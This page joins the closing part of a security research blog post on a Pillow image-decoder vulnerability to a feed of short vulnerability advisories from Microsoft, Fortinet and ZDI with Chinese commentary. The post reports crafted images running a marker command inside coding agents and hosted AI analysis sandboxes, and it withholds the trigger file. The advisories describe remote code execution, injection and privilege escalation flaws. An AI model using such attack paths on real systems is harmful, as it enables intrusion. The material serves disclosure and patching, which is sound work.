is. What we can describe is how we proved it: every step was paired with a matched control that removed the storage mismatch and nothing else, so that any effect could be attributed to the bug and not to our harness. Then we put the chain where it would actually be used: a small web application with an unauthenticated upload and standard frame processing, no special configuration. Ten uploads of the crafted file, ten times the server ran our harmless marker command. Ten uploads against the storage-invalidation control, zero. A fresh virtual environment with Pillow installed straight from PyPI gave the same split. That is what Critical 9.8 means in practice, and it is why we defend the score rather than soften it. The bug is reached over the network by an ordinary upload, needs no account and no user action, and ends in command execution with the server’s permissions. Code execution depends on the Python build and on memory layout. A crash does not, which is why every affected build we tested crashed and the upload flow ran our marker ten times out of ten. Then we asked a different question. In 2026, who actually opens these files? When the victim is an AI agent The most consequential image consumers of 2026 are not web forms. They are the Python sandboxes behind chat assistants and the local workspaces of coding agents, which open whatever file a task puts in front of them. We ran several experiments, all on our own accounts, machines, and workspaces. One of them is worth telling first. We built a small repository the way a real finance project would look, and made it boring on purpose. It had a git history, a license, docs, tests, and a README explaining that the imaging service delivers each quarterly payment register as a multi-picture JPEG archive, one frame per scanned page, plus a script that converts an export into per-page PNG records for the reconciliation pipeline. The export itself sat in the data folder: a long barcode strip as the first frame and a blank process-control strip as the second, both explained in the docs. Nothing in it looked out of place, because nothing was supposed to. Then we opened an interactive coding-agent session in it, with default permissions and no special flags, and asked for the Q3 export to be converted. The agent read the README, listed the repository, checked the virtual environment, and inspected the image headers without decoding anything. Then it wrote, “Both frames are small, so decoding them is safe,” and ran the conversion script, exactly as a careful engineer would. The script crashed with a segmentation fault. A few seconds later the agent noticed a new file in the working directory, read the raw bytes of the image, and stopped: Stopping here. The export ran code on this machine. It was right. The image had carried a harmless command that wrote the account’s user ID to a file; a real payload would have run with the same permissions. The agent’s post-incident analysis was excellent. It also came after the command had already executed. Nobody was deceived, and we approved only mundane commands. The trap was not in any command the agent ran. It was inside a picture. The command fires inside the tool’s own sandbox Tool environment Observed result ChatGPT, regular analysis sandbox A one-turn image-checking task returned a harmless command-output marker from inside the sandbox. We also observed that the sandbox’s Python runtime changed under us between morning and evening on October 26, which illustrates how layout-dependent the execution step is. Claude Code, hosted container After an attached validation script ran, a follow-up found the marker in the image reader’s workspace. In a separate trial, the agent followed an explicitly supplied link, reconstructed the image locally, ran the checker, and read the marker back. claude.ai, chat analysis sandbox A separate image-checking trial left the marker inside that sandbox. Codex CLI, local An image-checking task left the marker inside the local workspace sandbox. Each row used its own runtime and material. The readers never invoked the marker command themselves; the native decoder effect is the observation. Other trials were refused or crashed without a marker, and a crash alone was never counted as execution. None of these trials escaped a sandbox, reached another user, or touched provider infrastructure. They show that the parser sits inside the tools’ intended workspaces with the affected version installed by default. What the agent’s own judgment catches We also ran a pre-registered series of interactive trials in our own coding-agent session with default permissions, making the workspace more realistic each time and recording every refusal alongside the one execution. The first trial was a bare folder with a file full of tells: a plain-text shell command a human could read in the file, documentation telling readers to ignore it, an image that was one repeated byte, and a commit from an author nobody knew. The second removed every one of those tells and replaced the image content with scanner noise. The third was the finance repository above, with a barcode roll for content and every frame explained in the docs. The short version: the permission prompt is not a defense against this class, because the approved commands were ordinary and the file was the payload, and pre-execution content screening is real but stochastic. We will publish the full series, with the refusal boundary mapped, separately. That card is one example. How the trial series was built, what made every run traceable afterwards, and how the hosted probe decides to stop will follow in a later write-up. Where it lives in real software Images move through upload handlers, OCR jobs, document converters, chat attachments, and AI tools. The question for each is the same: does untrusted image data reach an affected Pillow build, and does the caller touch a later frame or layer? We tested published application and component paths in environments we own, always against three arms: the affected Pillow, the fixed Pillow, and a benign image on the affected build. Complete application routes we reproduced Workflow What happened A widely used ML demo framework On its current release , an image uploaded through the public HTTP API to an app whose output component encodes GIF killed the entire server process in 3 of 3 runs; the next request was refused. Pillow 13.0.0 completed 3 of 3; a benign animated GIF completed 3 of 3; the default WebP output path survived. A clean install of this release pins Pillow below 13, so the affected version is what you get. Earlier releases showed the same split on the real image-upload route. A separate command-execution attempt in the framework produced no marker: this is availability, not execution. No hosted Space was tested. An open-source meme generator Its custom-background URL handler, run locally, fetched our image, content-sniffed it, and terminated 3 of 3 with affected Pillow; the fixed build returned normally 3 of 3. The public service was not tested. A second open-source web application A real authenticated HTTP upload killed its local backend on Pillow 12.3.0 and returned 200 on 13.0.0. Rebuilding the project’s published Dockerfile gave the same affected-versus-fixed split. Blast radius A download count is the start of the exposure question, not the answer. The question that matters twelve days after a fix is who has actually rebuilt. All figures below were read from public release notes, lockfiles, package trackers, and registry telemetry between October 28 and 30, 2026. Who has patched, twelve days later Upstream, the fix ships in Pillow 13.0.0 and later. Pillow 13 also dropped Python 3.10, which reached end-of-life on October 1, so a service still on 3.10 needs a runtime upgrade before it can take the fix. Some frameworks pin Pillow below 13, and a clean install of them resolves to an affected version until the pin moves. One commercial vendor ships a patched 12.3.0 build to its own customers, which suggests the fix applies cleanly to the 12.x line; that build is not on PyPI. None of this is anyone’s fault. It is what a fix in a new major release looks like from the outside, two weeks in. Projects driven by automated dependency updates moved fast. Synapse 1.164.0 (October 27), paperless-ngx 3.3.4 (October 22), Open WebUI 0.12.4 (October 25), Jupyter docker-stacks (October 26), conda-forge, and Homebrew all ship Pillow 13. Immich’s development branch requires Pillow 13; Home Assistant’s development branch pins 13.0.0 while its released 2026.10.4 still pins 12.3.0. The managed ML runtimes publish their package lists, so we read them. At our October 28 read, these still listed an affected Pillow: Image or runtime Pillow listed, October 28 Where we read it Google Colab runtime 11.3.0 Published package freeze, last updated October 28 AWS SageMaker Distribution 4.6.2 11.3.0 on Python 3.12 Release lockfile, cut October 28 AWS Lambda Pillow layer (Klayers) 12.3.0 Published layer list Databricks Runtime 19 and 19 ML (beta) 12.0.0 Runtime release notes Ray images, all tags 11.3.0 Compiled requirements on the main branch Those are the five we could verify against a published artifact; rows we could not verify the same way were dropped. Two numbers temper the urgency honestly: the CVE is not in CISA’s Known Exploited Vulnerabilities catalog, and its EPSS score on October 29 was 0.7 percent, the 51st percentile. We have seen no public sign of exploitation. That is what you would expect twelve days after a quiet advisory, and it is also the window in which patching is cheapest. How to check in five minutes You are exposed if all three are true, and patched if the first is false: python -c "import PIL; print(PIL.__version__)" prints 11.0.0 through 12.3.0, in every image, container, and lockfile, not just the dev box. Untrusted images reach Pillow: uploads, avatars, attachments, scraped or federated content, user-supplied datasets. Code touches a frame beyond the first: search for ImageSequence , n_frames , .seek( , is_animated , PsdImagePlugin , MpoImagePlugin , or any “re-encode all frames” helper. If you cannot upgrade immediately, stop seeking: process frame zero only, or reject multi-frame inputs at the boundary. Blocking by extension does nothing. Coordinated disclosure Date Milestone July 28, 2026 Found during the blind calibration; reproduced and kept separate from the 0/4 score. July 31, 2026 Private report to Pillow through GitHub’s private vulnerability reporting. August 2026 Pillow accepted the report, traced the affected range to 11.0.0, and supplied a fix for PSD, MPO, DCX and MIC. Our validation across all four was clean, 40/40. September 20, 2026 Review of the private fix branch; one adjustment suggested and validated across all four loaders. October 16, 2026 Pillow 13.0.0 released with the fix, alongside more than forty other advisories. October 17, 2026 Advisory GHSA-v9pv-5gc8-w2m6 published, Critical 9.8, crediting the report. October 21–29, 2026 CVE-2026-96639 reached NVD and GitHub’s database; NVD completed its analysis on October 29. November 17, 2026 Cymulate Research Labs publication. Pillow’s maintainers investigated promptly, reproduced the issue, extended it to the sibling loaders, and shipped a fix that matches the control we had used in our own proof. We are grateful for that work. What security teams should do now Patch, and check that the patch actually landed Inventory every service, worker, notebook, container, and internal tool that installs Pillow directly or transitively. Affected: 11.0.0 through 12.3.0 . Fixed: 13.0.0 or later . Check the version in the running environment, not the requirements file. Then check the three ways the fix fails to arrive: Python 3.10. Pillow 13 does not support it. Plan the runtime upgrade. Framework pins. Look for pillow<13 in lock files and in the constraints of frameworks you install; one widely used ML demo framework still had one at the time of writing. A clean install that silently resolves to 12.3.0 is still affected. Distribution packages. Follow your distributor’s security tracker for this CVE rather than comparing upstream version numbers. Find the later-frame paths Prioritize code that decodes attacker-controlled images and then iterates frames, seeks layers, converts “all pages”, or builds animated output. Do not treat the file extension or a MIME allowlist as a boundary: Pillow decides by content, and several paths we tested accepted a renamed file. Treat image files in agent workspaces as untrusted input If you run coding agents or hosted analysis sandboxes, assume any image a task puts in front of them will be decoded. Pin Pillow 13 in the sandbox image. Run converters and decoders in a child process with no secrets, no network egress it does not need, and a restart boundary. Treat a native crash after processing an untrusted file as an incident, not a retry: in our trials the agent kept working after the segmentation fault, and the honest forensics came afterward. Validate the controls, not just the version Patching is step one. The question that follows is whether your controls would stop or at least notice this class of attack, and the only honest way to answer it is to run the attack behavior, safely, against them. At Cymulate, once Pillow accepted the advisory, this finding went into our research-to-product pipeline: an inventory of memory-corruption exploitation scenarios for this bug class, together with the post-exploitation chains an attacker would run after the first command. Those scenarios test prevention and detection controls against real attack behavior and its effects, not against a CVE score, and they tell a security team which control caught what, and which did not. The next Pillow-class bug will arrive the same way, inside a file, through a path nobody thought of as an attack surface. If your controls have already been tuned against this one, you will know how they behave before it matters. What we are publishing, and what we are holding back We are not publishing the trigger file, the crash-only fixture, or any part of the chain from the crash to command output. The fix ships in Pillow 13.0.0, Pillow 13 dropped Python 3.10, and twelve days after the release the hosted notebook and ML images we checked still listed an affected version. Even the fixture that only crashes the process is a working denial of service against any upload handler that walks frames, so there is no safe subset to release. A defender needs the version check and the pin audit above, not a trigger. The fixture has been with Pillow’s maintainers since July and is available to downstream maintainers who need it to validate a fix, on request through Cymulate Research Labs. We will revisit this only if a working trigger becomes public from another source. Resources Pillow advisory: GHSA-v9pv-5gc8-w2m6 CVE: CVE-2026-96639 Fixed release: Pillow 13.0.0 release notes The framework backport request: gradio-app/gradio#14018 The lesson beyond one decoder Image parsers have become what document macros were twenty years ago: the native code that strangers get to run on your machine by sending you something you asked for. The difference in 2026 is the number of places that happily open the file. Every upload form, every OCR queue, every ML preprocessing step, and now every AI agent that reads a repository or an attachment is an image consumer, and most of them share one library. Our benchmark scored zero on the bug it was built to find. We keep that score because the alternative, counting every lucky side finding as a win, would make the benchmark meaningless. The research value came from treating the anomaly as a separate claim, proving each step, and refusing to inflate the proven steps into the ones we only suspected. AI agents did a great deal of the finding and the exploring. The controls, the failed hypotheses, and the kills determined what we were allowed to say. That is the standard we hold our research team to, and the one we would ask of anyone publishing AI-assisted findings: trace the whole path from untrusted bytes to native code, patch the dependency, put the parser behind a real process boundary, and treat the attractive headline as the start of a proof obligation, not the end of one. Rotem Kama Rotem is a security researcher and research leader who has spent his career on the offensive side of the field — emulating adversaries, stress-testing EDR and other defenses to find where they quietly fail, and building the tooling that turns attacker behavior into hard, measurable data. His path started in the IDF’s Matzov unit and has run through security research and offensive security roles across the industry, today leading research at Cymulate. What keeps him in it is the same instinct that pulled him in: the puzzle of figuring out exactly how a system breaks, and proving it rather than assuming it. More about Author Table of Contents The benchmark that failed, and the zero-day it found Research at a glance Our agentic harness, and how we benchmark it Why one library bug is an ecosystem event The bug: the image changed modes, its memory did not From crash to code execution When the victim is an AI agent Where it lives in real software Blast radius Coordinated disclosure What security teams should do now Resources The lesson beyond one decoder Cymulate Exposure Validation makes advanced security testing fast and easy. When it comes to building custom attack chains, it's all right in front of you in one place. Mike Humbert , Cybersecurity Engineer DARLING INGREDIENTS INC. Learn More More from the Cymulate Research Lab View More Resources blog PHP2Shell: Two PHP Flaws to Patch Now Patch critical PHP2Shell vulnerabilities and validate your defenses against exploitation attempts with Cymulate Exposure Validation. Read More blog Headless Claude Code: When Git Config Runs Commands Imagine an automated code-review service receiving a complete project archive, including its hidden .git metadata, and launching Claude Code to Read More blog Across the Kill Chain: How Agents Became the Enterprise's New Front Door See how attackers chain AI agent vulnerabilities to compromise cloud identities and how security teams can disrupt attacks. Read More GET A PERSONALIZED DEMO Ready to see Cymulate in action? Book a Demo

rcecve图像解析 @cymulate-blog 原文 ↗

无需认证即可从网络侧触发,ODBC 被大量数据客户端与中间件默认加载。

# CVE-2026-108411 - Microsoft ODBC Driver Remote Code Execution Vulnerability Heap-based buffer overflow in Windows ODBC Driver allows an unauthorized attacker to execute code over a network. CWE: CWE-122: Heap-based Buffer Overflow

rcecvewindows @msrc 原文 ↗

AD CS 是域内提权与证书伪造的核心目标,校验绕过影响整条信任链。

# CVE-2026-105590 - Windows Active Directory Certificate Services Security Feature Bypass Improper certificate validation in Windows Active Directory Certificate Services allows an authorized attacker to bypass a security feature over a network. CWE: CWE-295: Improper Certificate Validation

绕过cve证书 @msrc 原文 ↗

DNS 服务未授权远程 RCE,网络可达即可触发,应先核对补丁覆盖。

# CVE-2026-109463 - Windows DNS Remote Code Execution Vulnerability Deserialization of untrusted data in Windows DNS allows an unauthorized attacker to execute code over a network. CWE: CWE-502: Deserialization of Untrusted Data

rce反序列化windowscve @msrc 原文 ↗

编解码器被浏览器与邮件预览调用,恶意视频即攻击面。

# CVE-2026-114164 - HEVC Video Extensions Remote Code Execution Vulnerability Integer underflow (wrap or wraparound) in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network. CWE: CWE-191: Integer Underflow (Wrap or Wraparound)

rce整数下溢windowscve @msrc 原文 ↗

默认组件、未授权即可远程触发,打开恶意图片文件即构成攻击面

# CVE-2026-114169 - Windows Raw Image Extension Remote Code Execution Vulnerability Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network. CWE: CWE-122: Heap-based Buffer Overflow

rce堆溢出cvewindows @msrc 原文 ↗

LSASS 是凭据核心组件,UAF 型 LPE 常被用于获取系统级与凭据转储

# CVE-2026-85801 - Windows Local Security Authority Subsystem Service (LSASS) Elevation of Privilege Vulnerability Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpe内核cve凭据 @msrc 原文 ↗

沙箱逃逸叠加提权,是所有 Windows 版本都存在的逃逸链关键环节。

# CVE-2026-100223 - Windows NTFS Elevation of Privilege Vulnerability An elevation of privilege vulnerability exists when reparse points are created by sandboxed processes allowing sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system. To exploit the vulnerability, an attacker would first have to log on to the system, and then run a specially crafted application to take control over the affected system. The security update addresses the vulnerability by preventing sandboxed processes from creating reparse points targeting inaccessible files. CWE: CWE-416: Use After Free

lpe逃逸内核cve @msrc 原文 ↗

SharePoint 常暴露在公网,反序列化 RCE 历来是勒索团伙首选入口。

# CVE-2026-109464 - Microsoft Office SharePoint Remote Code Execution Vulnerability Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. CWE: CWE-502: Deserialization of Untrusted Data

rce反序列化sharepointcve @msrc 原文 ↗

MCP 是 AI Agent 接入的基础设施,越权绕过会直接暴露工具链与凭据。

# CVE-2026-109492 - Microsoft MCP Gateway Elevation of Privilege Vulnerability Authorization bypass through user-controlled key in Microsoft MCP Gateway allows an authorized attacker to elevate privileges over a network. CWE: CWE-639: Authorization Bypass Through User-Controlled Key

ai_agentmcp提权绕过 @msrc 原文 ↗

未授权远程 RCE,DNS 服务器普遍直接暴露,补丁需优先排期。

# CVE-2026-81384 - Windows DNS Server Remote Code Execution Vulnerability Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network. CWE: CWE-122: Heap-based Buffer Overflow

rcednscve未授权 @msrc 原文 ↗

提权后可直接读取 LSASS 内存中的凭据,是横向移动的关键跳板。

# CVE-2026-88227 - Windows Local Security Authority Subsystem Service (LSASS) Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow, CWE-190: Integer Overflow or Wraparound

lpe提权cvewindows @msrc 原文 ↗

认证网关被绕过等于身份体系失守,无需任何凭据即可尝试。

PSIRT Authentication bypass Summary A Use of Hard-coded Password [CWE-259] vulnerability in FortiAuthenticator may allow an unauthenticated attacker to bypass credential validation in certain circumstances outside of the attacker's control and gain unauthorized access. Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-271 Published Date Nov 10, 2026 Component OTHERS Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.0 CVSSv3 Temporal Score 8.5 Impact Escalation of privilege CVE ID CVE-2026-126257 Download CVRF CSAF

认证绕过cve未授权固件 @forti-ir 原文 ↗

只读权限即可突破边界写入文件系统,权限模型失效且利用面明确。

PSIRT Arbitrary file write and delete in JSON API Summary An improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability [CWE-22] in FortiManager and FortiAnalyzer API may allow an authenticated attacker whose profile only has read permission to write and delete files from the underlying filesystem via crafted HTTP or HTTPs requests. Version Affected Solution FortiAnalyzer 8.0 Not affected Not Applicable FortiAnalyzer 7.6 7.6.0 through 7.6.4 Upgrade to 7.6.5 or above FortiAnalyzer 7.4 7.4.0 through 7.4.7 Upgrade to 7.4.8 or above FortiAnalyzer 7.2 7.2.0 through 7.2.11 Upgrade to 7.2.12 or above FortiManager 8.0 Not affected Not Applicable FortiManager 7.6 7.6.0 through 7.6.4 Upgrade to 7.6.5 or above FortiManager 7.4 7.4.0 through 7.4.7 Upgrade to 7.4.8 or above FortiManager 7.2 7.2.0 through 7.2.11 Upgrade to 7.2.12 or above FortiManager Cloud 8.0 Not affected Not Applicable FortiManager Cloud 7.6 7.6.0 through 7.6.4 Upgrade to 7.6.5 or above FortiManager Cloud 7.4 7.4.1 through 7.4.7 Upgrade to 7.4.8 or above FortiManager Cloud 7.2 7.2.1 through 7.2.10 Upgrade to 7.2.11 or above Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-190 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.3 Impact Execute unauthorized code or commands CVE ID CVE-2025-61625 Download CVRF CSAF

路径穿越cve权限绕过api @forti-ir 原文 ↗

与上一条同在 7.4/7.6/8.0 全线受影响,一次升级可同时覆盖两个未授权执行入口。

PSIRT Improper limitation of a pathname to a restricted directory Summary An Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability [CWE-22] in FortiMai may allow an unauthenticated attacker to execute unauthorized commands via crafted requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-205 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 7.5 CVSSv3 Temporal Score 7.1 Impact Execute unauthorized code or commands CVE ID CVE-2026-126153 Download CVRF CSAF

cverce路径遍历未授权 @forti-ir 原文 ↗

受限权限即可越权接管受管防火墙,是典型的集中管理面横向跳板。

PSIRT Improper neutralization of special elements used in a template engine i Summary An Improper Neutralization of Special Elements Used in a Template Engine vulnerability [CWE-1336] in FortiManager and FortiManager Cloud may allow a low privileged Device Manager admin to obtain super admin privilege on managed FortiGates via injecting malicious commands. Version Affected Solution FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2 all versions Migrate to a fixed release FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-225 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.4 Impact Denial of service CVE ID CVE-2026-126180 Download CVRF CSAF

ssti提权rcecve @forti-ir 原文 ↗

多租户域管理员即可拿到 root,隔离假设被打破,影响跨租户。

PSIRT Improper neutralization of special elements used in a command Summary An Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') [CWE-88] in FortiMail may allow an authenticated remote attacker with domain admin or admin privileges to delete users of other tenant domains on a paired FortiAuthenticator, execute arbitrary code as root or arbitrary CLI commands, and read or write arbitrary files as root via crafted HTTP requests to the administrative interface. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.2 Upgrade to upcoming 8.0.3 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-218 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.6 Impact Execute unauthorized code or commands CVE ID CVE-2026-126166 CVE-2026-126167 CVE-2026-126168 CVE-2026-126169 Download CVRF CSAF

rce命令注入cve多租户 @forti-ir 原文 ↗

邮件网关前暴露于外网,无需认证即可利用,7.4/7.6/8.0 分支均受影响。

PSIRT Improper neutralization of special elements used in an SQL command Summary An Improper neutralization of special elements used in an SQL command ('SQL injection') [CWE-89] in FortiMail may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-216 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.4 Impact Denial of service CVE ID CVE-2026-126164 Download CVRF CSAF

sqli未授权邮件网关 @forti-ir 原文 ↗

FortiManager 历来是攻击者集中攻击的目标,被攻陷后可控制全网纳管设备。

PSIRT Improper neutralization of special elements used in an os command Summary An OS Command Injection vulnerability [CWE-78] in FortiManager, FortiManager Cloud, FortiAnalyzer and FortiAnalyzer Cloud may allow an authenticated administrator to execute unauthorized code or commands via specially crafted requests Version Affected Solution FortiAnalyzer 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-224 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126179 Download CVRF CSAF

rcefortimanager管理面 @forti-ir 原文 ↗

邮件网关上的漏洞可直接把权限提升到 root,8.0 分支全部受影响。

PSIRT Improper neutralization of special elements used in an os command Summary An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability [CWE-78] in FortiMail may allow an authenticated administrator to execute unauthorized code or commands as root via specially crafted HTTP requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 Not affected Not Applicable FortiMail 7.4 Not affected Not Applicable Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-210 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126158 Download CVRF CSAF

rce提权邮件网关 @forti-ir 原文 ↗
推荐15

与当日 XkbGetMap 漏洞情况相同,同批可组合评估 X.Org 客户端的远程攻击面。

X.Org Server libXrender RenderQueryPictFormats Reply Heap-based Buffer Overflow Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-905 ZDI-CAN-32093 CVE ID CVE-2026-88807 CVSS Score 8.8 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors X.Org Affected Products Server Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on affected installations of X.Org Server. User interaction is required to exploit this vulnerability in that the target must connect to a malicious X11 server. The specific flaw exists within the XRenderQueryFormats function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details X.Org has issued an update to correct this vulnerability. More details can be found at: https://gitlab.freedesktop.org/xorg/lib/libxrender/-/merge_requests/19 Disclosure Timeline 2026-09-02 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Adam Bedard Back to Advisories

rcex11cve @zdi-advisories 原文 ↗

CVSS 8.8,取证人员常需处理恶意构造的 pcap,恶意抓包文件即可触发。

Wireshark SMB Object Export Integer Overflow Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-900 ZDI-CAN-31676 CVE ID CVSS Score 8.8 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors Wireshark Affected Products Wireshark Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on affected installations of Wireshark. User interaction is required to exploit this vulnerability. The specific flaw exists within the exporting of SMB objects from captured traffic. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details version 4.6 fix: https://gitlab.com/wireshark/wireshark/-/commit/bf270c79258480c264296fe6f832cec2b3aecabb ; version 4.4 fix: https://gitlab.com/wireshark/wireshark/-/commit/bf4578f18e09536c8d8e939129e3c7ade3a5c8af Disclosure Timeline 2026-09-10 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Mirae Back to Advisories

rcewiresharkcve @zdi-advisories 原文 ↗

内核 LPE 通常作为攻击链收尾环节,与沙箱或浏览器漏洞串联价值高

# CVE-2026-114170 - Windows Kernel Elevation of Privilege Vulnerability Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpe内核uafcve @msrc 原文 ↗

RPC 端点在主机上普遍暴露,该组件历史缺陷常被用于权限提升链

# CVE-2026-83894 - RPC Runtime Elevation of Privilege Vulnerability Use after free in RPC Runtime allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lperpcuafcve @msrc 原文 ↗

网络可达的权限提升,SharePoint 常位于对外暴露的业务边界

# CVE-2026-88176 - Microsoft Office SharePoint Elevation of Privilege Vulnerability Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. CWE: CWE-862: Missing Authorization

提权sharepointcve绕过 @msrc 原文 ↗

云集群管理组件的命令注入,网络可达且直接形成提权路径

# CVE-2026-102224 - Azure CycleCloud Elevation of Privilege Vulnerability Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to elevate privileges over a network. CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

云命令注入提权cve @msrc 原文 ↗

CLI 常被 CI/CD 与自动化流水线调用,注入点会直接放大到云端权限。

